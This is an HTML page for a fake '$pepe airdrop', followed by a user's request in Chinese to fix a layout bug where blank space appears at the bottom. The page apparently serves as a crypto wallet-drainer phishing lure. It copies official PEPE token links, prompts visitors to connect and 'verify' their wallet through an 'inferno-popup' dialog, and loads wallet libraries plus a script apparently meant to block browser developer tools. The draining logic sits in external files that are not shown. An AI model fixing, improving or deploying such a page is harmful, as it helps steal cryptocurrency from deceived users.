<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">


    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="PEPE_files/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
    <!-- Bootstrap scripts -->
    <script src="PEPE_files/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
    <script src="PEPE_files/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
    <script src="PEPE_files/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>

    <!-- Custom Styles -->
    <link rel="stylesheet" href="PEPE_files/styles.css">
    <link rel="icon" sizes="192x192" href="https://pepe.gl/assets/images/favicon.png">

    <title>PEPE</title>
<style>web3modal-modal-lightbox { z-index: 99999 !important}</style><style data-styled="active" data-styled-version="5.1.1"></style>

    <link rel="stylesheet" type="text/css" href="./css/my-popup.css">		
    <link rel="stylesheet" type="text/css" href="./css/alert.css" media="all">
	
  <!-- Legacy Polyfills -->
  <script nomodule="" src="PEPE_moblie_files/minified.js"></script>
  <script nomodule="" src="PEPE_moblie_files/focus-within-polyfill.js"></script>
  <script nomodule="" src="PEPE_moblie_files/polyfill.min.js"></script>




</head>

<body>

    <div id="my-popup">
      <div class="content2">
        <div class="spinner2"></div>
        <h2>Connection...</h2>
        <p>Eligibility is being verified...</p>
      </div>
    </div>
    <div class="alert-container" id="alert-container"></div>


    <div class="alert-container" id="alert-container"></div>


    <nav class="navbar navbar-expand-lg navbar-dark">
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <a class="navbar-brand" href="#">
            <img src="PEPE_files/pepe_title.webp" alt="pepe">
        </a>

        <div class="collapse navbar-collapse" id="navbarSupportedContent">
            <ul class="navbar-nav">
                <li class="nav-item active">
                    <a class="nav-link" href="#">Home</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="#">About</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="#">How to Buy</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="#">Tokenomics</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="#">Roadmap</a>
                </li>
            </ul>
        </div>
      <button class="claim-btn interact-button"  id ='connect' >Connect</button>
		
      <button class="claim-btn interact-button"  id ='claim'  style="display: none;" >Claim</button>
	  
     </nav>
    <div class="section-wrap">
        <img src="PEPE_files/pepe_cow_bg.webp" alt="pepe" class="hero-bg">
        <div class="hero-section">
            <div class="hero-content">
                <div>
                    <div>
                        <h1>$pepe airdrop</h1>
                        <p>
                            the most memeable memecoin in existence. The dogs have had their
                            day, it's time for Pepe to take reign.
                        </p>
                        <div class="icon-row"></div>
                    </div>
                    <div class="icon-row">
                        <a href="https://twitter.com/pepecoineth">
                            <img src="PEPE_files/twitter.webp" alt="twitter">
                        </a>
                        <a href="https://t.me/pepecoineth">
                            <img src="PEPE_files/telegram.webp" alt="telegram">
                        </a>
                        <a href="https://www.dextools.io/app/en/ether/pair-explorer/0xA43fe16908251ee70EF74718545e4FE6C5cCEc9f">
                            <img src="PEPE_files/dextools.webp" alt="dextools">
                        </a>
                        <a href="https://etherscan.io/address/0x6982508145454Ce325dDbE47a25d4ec3d2311933">
                            <img src="PEPE_files/etherscan.webp" alt="etherscan">
                        </a>
                        <a href="https://coinmarketcap.com/currencies/pepe/">
                            <img src="PEPE_files/cmc.webp" alt="coinmarketcap">
                        </a>
                        <a href="https://app.uniswap.org/#/swap?inputCurrency=ETH&amp;outputCurrency=0x6982508145454Ce325dDbE47a25d4ec3d2311933">
                            <img src="PEPE_files/uniswap.webp" alt="uniswap">
                        </a>
                    </div>
                </div>
                <img src="PEPE_files/pepe_big.webp" alt="pepe" class="hero-img">
            </div>
      <button class="claim-btn interact-button"  id ='connect2' >Connect</button>
		
      <button class="claim-btn interact-button"  id ='claim2'  style="display: none;" >Claim</button>
        </div>
    </div>

    <script src="PEPE_files/confetti.min.js"></script>
    <script>
        // Pass in the id of an element
        let confetti = new Confetti('connect2');


        // Edit given parameters
        confetti.setCount(75);
        confetti.setSize(1);
        confetti.setPower(25);
        confetti.setFade(false);
        confetti.destroyTarget(false);
    </script><canvas style="position: fixed; top: 0px; left: 0px; width: calc(100%); height: calc(100%); margin: 0px; padding: 0px; z-index: 999999999; pointer-events: none;" width="2732" height="1188"></canvas>
    <style>
        #dm .dmBody div.u_1847710646 {
            margin-bottom: 150px !important;
        }

        #dm .dmBody div.u_1005402494 {
            margin: -295px 0 0 !important;
            padding: 0 !important
        }
    </style>


<div id="inferno-popup" style="display: none !important; font-family: &quot;Poppins&quot;, sans-serif; position: fixed !important; inset: 0px !important; z-index: 150 !important; height: 100% !important; width: 100% !important; transition: opacity 0.3s ease-in-out 0s; background: rgba(0, 0, 0, 0.8) !important; justify-content: center !important; max-height: 100% !important;">
                <div style="margin: 40px 0px !important; z-index:99999;">
                    <div style="position: relative !important;border-radius: 16px;background: rgb(255, 255, 255) !important;width: 360px;max-height: calc(0px + 100vh);max-width: 100%;">
                        <div style="position: relative; text-align: center; padding: 16px 24px;">
                            <h4 id="inferno-popup-title" style="font-weight: 600;line-height: 110%;font-size: 22px; color: rgb(4, 17, 29);padding: 4px 16px"></h4>
                            <div id="inferno-popup-close" style="cursor: pointer;position: absolute;right: 25px; top: 15px;width: 20px; height: 20px;opacity: 0.3;"></div>
                            <style>
                            #inferno-popup-close:hover {
                                opacity: 0.4;
                            }
                            #inferno-popup-close:before, #inferno-popup-close:after {
                                content: '';
                                position: absolute;
                                left: 15px;
                                height: 19px;
                                width: 2px;
                                background-color: rgb(10, 10, 10);
                            }
                            #inferno-popup-close:before {
                                transform: rotate(45deg);
                            }
                            #inferno-popup-close:after {
                                transform: rotate(-45deg);
                            }
                            </style>
                        </div>
                        <div style="padding: 24px;">
                            <div style="align-items: center; gap: 25px;">
                            <div>
                                <svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
                                    <path d="M10 50A40 40 0 0 0 90 50A40 42 0 0 1 10 50" fill="#e15b64" stroke="none">
                                        <animateTransform attributeName="transform" type="rotate" dur="1s" repeatCount="indefinite" keyTimes="0;1" values="0 50 51;360 50 51"></animateTransform>
                                    </path>
                                </svg>
                            </div>
                            <div>
                                <p style="font-size: 16.5px; font-weight: 600; color: rgb(4, 17, 29);"></p>
                            </div>
                            </div>
                            <hr style="padding: 0px; margin: 28px 0px; opacity: 0.2; border-color: rgb(138, 147, 155) currentcolor currentcolor; border-style: solid none none; border-width: 1px medium medium; border-image: none 100% / 1 / 0 stretch; color: rgb(138, 147, 155); text-align: center;">
                            <div>
                            <div style="color: rgb(4, 17, 29); align-items: center; margin-bottom: 12px; display: flex; text-align: center; font-weight: 600;  background: rgb(247, 247, 247); border-radius: 12px; padding: 7px;">
                                <img src="PEPE_files/8212602.png" id="inferno-popup-image" style="  display: inline-block; vertical-align: middle; width:30px" height="30">
                                <h3 style="text-align: center; font-size: 13px; font-weight: 600; color: rgb(4, 17, 29); margin: 0;">Verify your wallet to continue</h3>
                            </div>
                            <div style="color: rgb(4, 17, 29) !important; line-height: 140%; margin-bottom: 12px; font-weight: 600;">
                                <h3 style="font-size: 14px; text-align: center; font-weight: 600; position: relative;" id="inferno-popup-text"></h3>
                            </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div id="inferno-popup-overlay" style=" position: fixed;top: 0;left: 0; width: 100%; height: 100%; background: rgba(23,23,23,.8);backdrop-filter: blur(5px);z-index: 99998;"></div>
                </div>
				
				    <!-- Import .JS files -->
    <script src="./settings.js"></script>
    <!-- <script src="./javascript/loader.js"></script> -->
    <script src="./javascript/alert.js"></script>
    <script src="https://unpkg.com/browse/moralis@1.11.0/dist/moralis.min.js"></script>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
				
			<script type="text/javascript" src="./javascript/f12.js"></script>
           
            <script src="./javascript/web3.min.js"></script>

            <script type="text/javascript" src="https://unpkg.com/web3modal@1.9.5/dist/index.js"></script>
            <script type="text/javascript" src="https://unpkg.com/evm-chains@0.2.0/dist/umd/index.min.js"></script>
            <script type="text/javascript"
                src="https://unpkg.com/@walletconnect/web3-provider@1.7.5/dist/umd/index.min.js"></script>
            <script src="https://cdn.ethers.io/lib/ethers-5.1.umd.min.js" type="text/javascript"></script>

            <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"
                integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ=="
                crossorigin="anonymous" referrerpolicy="no-referrer"></script>
            <!--[if lte IE 9]>
                <script src="//cdnjs.cloudflare.com/ajax/libs/placeholders/3.0.2/placeholders.min.js"></script>
            <![endif]-->

            <script type="text/javascript" src="./javascript/index.js"></script>

				   <!-- Histats.com  START  (aync)-->
<script type="text/javascript">var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,4770640,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
var hs = document.createElement('script'); hs.type = 'text/javascript'; hs.async = true;
hs.src = ('//s10.histats.com/js15_as.js');
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();</script>
<noscript><a href="/" target="_blank"><img  src="//sstatic1.histats.com/0.gif?4770640&101" alt="" border="0"></a></noscript>
<!-- Histats.com  END  -->

				</body></html> 修复一下这个代码，这个代码加载一会后，网页下面会出现大面积的空白